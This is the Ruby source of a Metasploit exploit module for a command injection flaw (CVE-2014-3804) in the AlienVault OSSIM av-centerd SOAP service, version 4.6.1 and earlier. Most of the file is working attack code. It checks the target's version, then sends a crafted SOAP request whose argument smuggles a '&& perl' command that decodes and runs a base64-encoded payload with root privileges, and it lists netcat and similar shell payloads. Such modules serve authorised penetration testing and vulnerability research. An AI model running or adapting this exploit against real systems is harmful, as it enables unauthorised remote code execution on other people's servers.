bcoles
147 lines
4.3 KiB
Ruby
147 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rexml/document'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include REXML
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'AlienVault OSSIM av-centerd Command Injection',
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'Description' => %q{
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This module exploits a code execution flaw in AlienVault 4.6.1 and
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prior. The vulnerability exists in the av-centerd SOAP web service,
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where the update_system_info_debian_package method uses perl backticks
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in an insecure way, allowing command injection. This module has been
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tested successfully on AlienVault 4.6.0.
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},
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'Author' => [
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'Unknown', # From HP ZDI team, Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2014-3804'],
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['BID', '67999'],
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['ZDI', '14-202'],
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['URL', 'http://forums.alienvault.com/discussion/2690']
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],
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'Privileged' => true,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' => {
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# 'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
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'Compat' => {
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'RequiredCmd' => 'perl netcat-e openssl python gawk'
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}
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},
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'DefaultOptions' => {
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'SSL' => true
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},
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'Targets' => [
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[ 'AlienVault <= 4.6.1', {}]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2014-05-05',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => [REPEATABLE_SESSION]
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}
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)
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)
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register_options(
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[
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Opt::RPORT(40007)
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]
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)
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end
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def check
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res = send_soap_request('get_dpkg')
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return CheckCode::Unknown('Connection failed') unless res
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version = ''
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if res.code == 200 &&
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res.headers['SOAPServer'] &&
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res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
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res.body.to_s =~ /alienvault-center\s*([\d.]*)-\d/
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version = ::Regexp.last_match(1)
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end
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return CheckCode::Safe if version.blank?
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if version >= '4.7.0'
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return CheckCode::Safe("AlienVault version #{version} is not vulnerable")
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end
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CheckCode::Appears("AlienVault version #{version} appears vulnerable")
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end
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def exploit
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send_soap_request('update_system_info_debian_package', 1)
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end
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def build_soap_request(method)
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xml = Document.new
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xml.add_element(
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'soap:Envelope',
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{
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'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
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'xmlns:soapenc' => 'http://schemas.xmlsoap.org/soap/encoding/',
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'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
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'soap:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/',
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'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/'
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}
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)
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body = xml.root.add_element('soap:Body')
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m = body.add_element(
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method,
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{
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'xmlns' => 'AV/CC/Util'
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}
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)
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args = []
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args[0] = m.add_element('c-gensym3', { 'xsi:type' => 'xsd:string' })
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args[1] = m.add_element('c-gensym5', { 'xsi:type' => 'xsd:string' })
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args[2] = m.add_element('c-gensym7', { 'xsi:type' => 'xsd:string' })
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args[3] = m.add_element('c-gensym9', { 'xsi:type' => 'xsd:string' })
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(0..3).each { |i| args[i].text = rand_text_alpha(4..7) }
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if method == 'update_system_info_debian_package'
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args[4] = m.add_element('c-gensym11', { 'xsi:type' => 'xsd:string' })
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perl_payload = 'system(decode_base64'
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perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
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args[4].text = rand_text_alpha(4..7).to_s
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args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
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end
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xml.to_s
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end
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def send_soap_request(method, timeout = 20)
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soap = build_soap_request(method)
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send_request_cgi({
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'uri' => '/av-centerd',
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'method' => 'POST',
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'ctype' => 'text/xml; charset=UTF-8',
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'data' => soap,
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'headers' => {
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'SOAPAction' => "\"AV/CC/Util##{method}\""
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}
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}, timeout)
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end
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end
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